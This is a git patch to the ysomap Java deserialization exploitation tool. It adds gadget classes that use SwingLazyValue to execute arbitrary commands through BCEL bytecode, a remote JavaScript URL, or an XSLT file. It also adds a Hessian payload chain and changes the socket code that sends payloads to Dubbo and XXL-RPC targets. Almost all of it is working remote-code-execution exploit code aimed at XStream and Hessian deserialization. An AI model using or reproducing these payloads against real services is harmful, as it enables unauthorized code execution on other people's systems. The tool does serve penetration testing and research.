From cd092a18366f12a754c5d4d8e63f2e9615f9f463 Mon Sep 17 00:00:00 2001 From: wh1t3P1g Date: Tue, 12 Mar 2024 15:50:15 +0800 Subject: [PATCH] update --- .../bullets/jdk/SwingLazyValueWithBCEL.java | 55 ++++++++++++++ .../jdk/SwingLazyValueWithRemoteJS.java | 50 +++++++++++++ .../bullets/jdk/SwingLazyValueWithXSLT.java | 53 ++++++++++++++ .../java/ysomap/core/util/SocketHelper.java | 72 ++++++++++--------- .../exploits/dubbo/DubboRPC2Exploit.java | 2 +- .../exploits/dubbo/DubboRPC3Exploit.java | 2 +- .../exploits/dubbo/DubboRPCExploit.java | 2 +- .../ysomap/exploits/xxlrpc/XXLRPCExploit.java | 2 +- .../payloads/hessian/LazyValueForHessian.java | 2 + .../LazyValueWithoutToStringTrigger.java | 49 +++++++++++++ 10 files changed, 251 insertions(+), 38 deletions(-) create mode 100644 core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithBCEL.java create mode 100644 core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithRemoteJS.java create mode 100644 core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithXSLT.java create mode 100644 core/src/main/java/ysomap/payloads/hessian/LazyValueWithoutToStringTrigger.java diff --git a/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithBCEL.java b/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithBCEL.java new file mode 100644 index 0000000..80bc044 --- /dev/null +++ b/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithBCEL.java @@ -0,0 +1,55 @@ +package ysomap.bullets.jdk; + +import javassist.ClassPool; +import javassist.CtClass; +import sun.swing.SwingLazyValue; +import ysomap.bullets.AbstractBullet; +import ysomap.bullets.Bullet; +import ysomap.common.annotation.*; +import ysomap.core.util.ClassFiles; +import ysomap.core.util.PayloadHelper; + +import java.util.Random; + +/** + * @author wh1t3P1g + * @since 2021/1/4 + */ +@Bullets +@Dependencies({"jdk"}) +@Details("文件写入") +@Targets({Targets.XSTREAM, Targets.HESSIAN}) +@Authors({Authors.WH1T3P1G}) +public class SwingLazyValueWithBCEL extends AbstractBullet { + + @NotNull + @Require(name = "command", detail = "like ls") + public String command; + + @Override + public SwingLazyValue getObject() throws Exception { + String classname = "com.sun.org.apache.bcel.internal.util.JavaWrapper"; + String methodName = "_main"; + String code = PayloadHelper.makeRuntimeExecPayload(command); + byte[] bytes = makePayload(code); + Object[] evilargs = new Object[]{new String[]{PayloadHelper.makeBCELStr(bytes), "ysomap"}}; + return new SwingLazyValue(classname, methodName, evilargs); + } + + public static Bullet newInstance(Object... args) throws Exception { + Bullet bullet = new SwingLazyValueWithBCEL(); + bullet.set("command", args[0]); + return bullet; + } + + public byte[] makePayload(String body) throws Exception { + ClassPool pool = new ClassPool(true); + String classname = "pwn"+new Random().nextLong(); + CtClass cls = ClassFiles.makeEmptyClassFile(pool, classname, null); + String wrappedBody = "public static void _main(String[] argv) throws Exception {\n" + + String.format(" %s\n", body) + + " }"; + ClassFiles.insertMethod(cls, wrappedBody); + return cls.toBytecode(); + } +} diff --git a/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithRemoteJS.java b/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithRemoteJS.java new file mode 100644 index 0000000..a7abec3 --- /dev/null +++ b/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithRemoteJS.java @@ -0,0 +1,50 @@ +package ysomap.bullets.jdk; + +import sun.swing.SwingLazyValue; +import ysomap.bullets.AbstractBullet; +import ysomap.bullets.Bullet; +import ysomap.common.annotation.*; + +/** + * @author wh1t3P1g + * @since 2021/1/4 + */ +@Bullets +@Dependencies({"jdk"}) +@Details("js rce for jdk 17") +@Targets({Targets.XSTREAM, Targets.HESSIAN}) +@Authors({Authors.WH1T3P1G}) +public class SwingLazyValueWithRemoteJS extends AbstractBullet { + + @NotNull + @Require(name = "url", detail = "remote js url, like http://127.0.0.1/1.js") + public String url; + + @Override + public SwingLazyValue getObject() throws Exception { + String classname = "com.sun.tools.script.shell.Main"; + String methodName = "main"; + Object[] evilargs = new Object[]{new String[]{"-e", String.format("load('%s')", url)}}; + return new SwingLazyValue(classname, methodName, evilargs); + } + + public static Bullet newInstance(Object... args) throws Exception { + Bullet bullet = new SwingLazyValueWithRemoteJS(); + bullet.set("url", args[0]); + return bullet; + } + + /* js file example + new java.lang.ProcessBuilder(["/bin/bash","-c","open -a Calculator.app"]).start(); + */ + + // TODO javax.swing.plaf.synth.SynthLookAndFeel.load(java.net.URL) xml rce + /* + + open + -a + Calculator + + + */ +} diff --git a/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithXSLT.java b/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithXSLT.java new file mode 100644 index 0000000..9b63498 --- /dev/null +++ b/core/src/main/java/ysomap/bullets/jdk/SwingLazyValueWithXSLT.java @@ -0,0 +1,53 @@ +package ysomap.bullets.jdk; + +import sun.swing.SwingLazyValue; +import ysomap.bullets.AbstractBullet; +import ysomap.bullets.Bullet; +import ysomap.common.annotation.*; + +/** + * @author wh1t3P1g + * @since 2021/1/4 + */ +@Bullets +@Dependencies({"jdk"}) +@Details("利用xslt执行任意代码") +@Targets({Targets.XSTREAM, Targets.HESSIAN}) +@Authors({Authors.WH1T3P1G}) +public class SwingLazyValueWithXSLT extends AbstractBullet { + + @NotNull + @Require(name = "filepath", detail = ".xslt filepath") + public String filepath; + + @Override + public SwingLazyValue getObject() throws Exception { + String classname = "com.sun.org.apache.xalan.internal.xslt.Process"; + String methodName = "_main"; + Object[] evilargs = new Object[]{new String[]{"-XT", "-XSL", "file://" + filepath}}; + // xslt file example https://yzddmr6.com/posts/swinglazyvalue-in-webshell/#%e5%88%a9%e7%94%a8%e4%ba%94%e8%90%bd%e7%9b%98xslt%e5%b9%b6%e5%8a%a0%e8%bd%bd + return new SwingLazyValue(classname, methodName, evilargs); + } + + public static Bullet newInstance(Object... args) throws Exception { + Bullet bullet = new SwingLazyValueWithXSLT(); + bullet.set("command", args[0]); + return bullet; + } + +/* + + + + + + + + +*/ +} diff --git a/core/src/main/java/ysomap/core/util/SocketHelper.java b/core/src/main/java/ysomap/core/util/SocketHelper.java index 7239e09..f1e359c 100644 --- a/core/src/main/java/ysomap/core/util/SocketHelper.java +++ b/core/src/main/java/ysomap/core/util/SocketHelper.java @@ -2,11 +2,11 @@ import ysomap.common.util.Logger; -import java.io.BufferedReader; +import java.io.ByteArrayOutputStream; import java.io.IOException; -import java.io.InputStreamReader; -import java.net.Socket; -import java.net.SocketTimeoutException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.*; /** * @author wh1t3p1g @@ -14,41 +14,45 @@ */ public class SocketHelper { - public static String send(String host, int port, byte[] bytes, int timeout){ - Socket socket = null; - BufferedReader in = null; - StringBuilder ret = new StringBuilder(); - try { - socket = new Socket(host, port); + public static String sendAndReceive(String host, int port, byte[] bytes, int timeout){ + byte[] ret = send(host, port, bytes, timeout); + return new String(ret); + } + + public static byte[] send(String host, int port, byte[] bytes, int timeout){ + try(Socket socket = new Socket()){ socket.setSoTimeout(timeout); - in = new BufferedReader(new InputStreamReader(socket.getInputStream())); - socket.getOutputStream().write(bytes); - String resp = null; - - do{ - resp = in.readLine(); - if(resp != null){ - ret.append(resp).append("\n"); + socket.connect(new InetSocketAddress(host, port), timeout); + Logger.normal(String.format("Connected %s:%s success!", host, port)); + OutputStream output = socket.getOutputStream(); + + output.write(bytes); + output.flush(); + + InputStream input = socket.getInputStream(); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] dataReceived = new byte[1024]; + int bytesRead; + + try{ + while((bytesRead = input.read(dataReceived)) != -1){ + baos.write(dataReceived, 0, bytesRead); } - }while (resp != null); + }catch (SocketTimeoutException ig){ + // read all bytes until read timeout + } - return ret.toString(); + output.close(); + input.close(); + return baos.toByteArray(); + } catch (UnknownHostException e) { + throw new RuntimeException(e); } catch (SocketTimeoutException e){ - String retStr = ret.toString(); - if(retStr.isEmpty()){ - Logger.error(String.format("connect %s:%s timeout!", host, port)); - }else{ - return retStr; - } + Logger.error(String.format("connect %s:%s timeout!", host, port)); + } catch (SocketException e) { + throw new RuntimeException(e); } catch (IOException e) { - e.printStackTrace(); - } finally { - try { - socket.close(); - in.close(); - } catch (Exception e) { - // do nothing - } + throw new RuntimeException(e); } return null; } diff --git a/core/src/main/java/ysomap/exploits/dubbo/DubboRPC2Exploit.java b/core/src/main/java/ysomap/exploits/dubbo/DubboRPC2Exploit.java index 9de47eb..1bd4ecb 100644 --- a/core/src/main/java/ysomap/exploits/dubbo/DubboRPC2Exploit.java +++ b/core/src/main/java/ysomap/exploits/dubbo/DubboRPC2Exploit.java @@ -67,7 +67,7 @@ public void work() { public void send(Object payload) throws DecoderException, IOException { byte[] data = generateRequest(payload); - String ret = SocketHelper.send(host, Integer.parseInt(port), data, 5000); + String ret = SocketHelper.sendAndReceive(host, Integer.parseInt(port), data, 5000); System.out.println(ret); } diff --git a/core/src/main/java/ysomap/exploits/dubbo/DubboRPC3Exploit.java b/core/src/main/java/ysomap/exploits/dubbo/DubboRPC3Exploit.java index 026e153..b27b666 100644 --- a/core/src/main/java/ysomap/exploits/dubbo/DubboRPC3Exploit.java +++ b/core/src/main/java/ysomap/exploits/dubbo/DubboRPC3Exploit.java @@ -79,7 +79,7 @@ public void work() { public void send(Object payload, String generic) throws DecoderException, IOException { byte[] data = generateRequest(payload, generic); - String ret = SocketHelper.send(host, Integer.parseInt(port), data, 5000); + String ret = SocketHelper.sendAndReceive(host, Integer.parseInt(port), data, 5000); System.out.println(ret); } diff --git a/core/src/main/java/ysomap/exploits/dubbo/DubboRPCExploit.java b/core/src/main/java/ysomap/exploits/dubbo/DubboRPCExploit.java index f18667f..cc6dc14 100644 --- a/core/src/main/java/ysomap/exploits/dubbo/DubboRPCExploit.java +++ b/core/src/main/java/ysomap/exploits/dubbo/DubboRPCExploit.java @@ -39,7 +39,7 @@ public void work() { try { byte[] data = generateRequest(null); // byte[] data = generateRequest("test"); - String ret = SocketHelper.send(host, Integer.parseInt(port), data, 5000); + String ret = SocketHelper.sendAndReceive(host, Integer.parseInt(port), data, 5000); System.out.println(ret); } catch (Exception e) { e.printStackTrace(); diff --git a/core/src/main/java/ysomap/exploits/xxlrpc/XXLRPCExploit.java b/core/src/main/java/ysomap/exploits/xxlrpc/XXLRPCExploit.java index 69a17f5..f2e60ec 100644 --- a/core/src/main/java/ysomap/exploits/xxlrpc/XXLRPCExploit.java +++ b/core/src/main/java/ysomap/exploits/xxlrpc/XXLRPCExploit.java @@ -42,7 +42,7 @@ public void work() { Serializer serializer = SerializerFactory.createSerializer("hessian2"); try { byte[] data = generate((byte[]) serializer.serialize(payload)); - String ret = SocketHelper.send(host, Integer.parseInt(port), data, 5000); + String ret = SocketHelper.sendAndReceive(host, Integer.parseInt(port), data, 5000); System.out.println(ret); } catch (Exception e) { e.printStackTrace(); diff --git a/core/src/main/java/ysomap/payloads/hessian/LazyValueForHessian.java b/core/src/main/java/ysomap/payloads/hessian/LazyValueForHessian.java index 9314250..a2c69ee 100644 --- a/core/src/main/java/ysomap/payloads/hessian/LazyValueForHessian.java +++ b/core/src/main/java/ysomap/payloads/hessian/LazyValueForHessian.java @@ -24,6 +24,8 @@ "SwingLazyValueWithRMIBullet", "LazyValueWithFileWrite1Bullet", "LazyValueWithFileWrite2Bullet", + "SwingLazyValueWithBCEL", + "SwingLazyValueWithXSLT", "SwingLazyValueWithUrlClassLoaderBullet"}, param = false) public class LazyValueForHessian extends HessianPayload { diff --git a/core/src/main/java/ysomap/payloads/hessian/LazyValueWithoutToStringTrigger.java b/core/src/main/java/ysomap/payloads/hessian/LazyValueWithoutToStringTrigger.java new file mode 100644 index 0000000..c682c35 --- /dev/null +++ b/core/src/main/java/ysomap/payloads/hessian/LazyValueWithoutToStringTrigger.java @@ -0,0 +1,49 @@ +package ysomap.payloads.hessian; + +import ysomap.bullets.Bullet; +import ysomap.bullets.jdk.SwingLazyValueWithRMIBullet; +import ysomap.common.annotation.*; +import ysomap.core.util.ReflectionHelper; + +import javax.activation.MimeTypeParameterList; +import javax.swing.*; + +/** + * @author wh1t3P1g + * @since 2021/11/12 + */ +@Payloads +@SuppressWarnings({"rawtypes"}) +@Authors({ Authors.WH1T3P1G }) +@Targets({ Targets.HESSIAN }) +@Dependencies({"hessian"}) +@Require(bullets = { + "SwingLazyValueWithJNDIBullet", + "SwingLazyValueWithRMIBullet", + "LazyValueWithFileWrite1Bullet", + "LazyValueWithFileWrite2Bullet", + "SwingLazyValueWithBCEL", + "SwingLazyValueWithXSLT", + "SwingLazyValueWithUrlClassLoaderBullet"}, param = false) +public class LazyValueWithoutToStringTrigger extends HessianPayload { + + @Override + public Bullet getDefaultBullet(Object... args) throws Exception { + return SwingLazyValueWithRMIBullet.newInstance(args); + } + + @Override + public boolean checkObject(Object obj) { + return obj instanceof UIDefaults.LazyValue; + } + + @Override + public Object pack(Object obj) throws Exception { + UIDefaults uiDefaults = new UIDefaults(); + uiDefaults.put("ysomap", obj); + MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); + ReflectionHelper.setFieldValue(mimeTypeParameterList, "parameters", uiDefaults); + return mimeTypeParameterList; + } + +}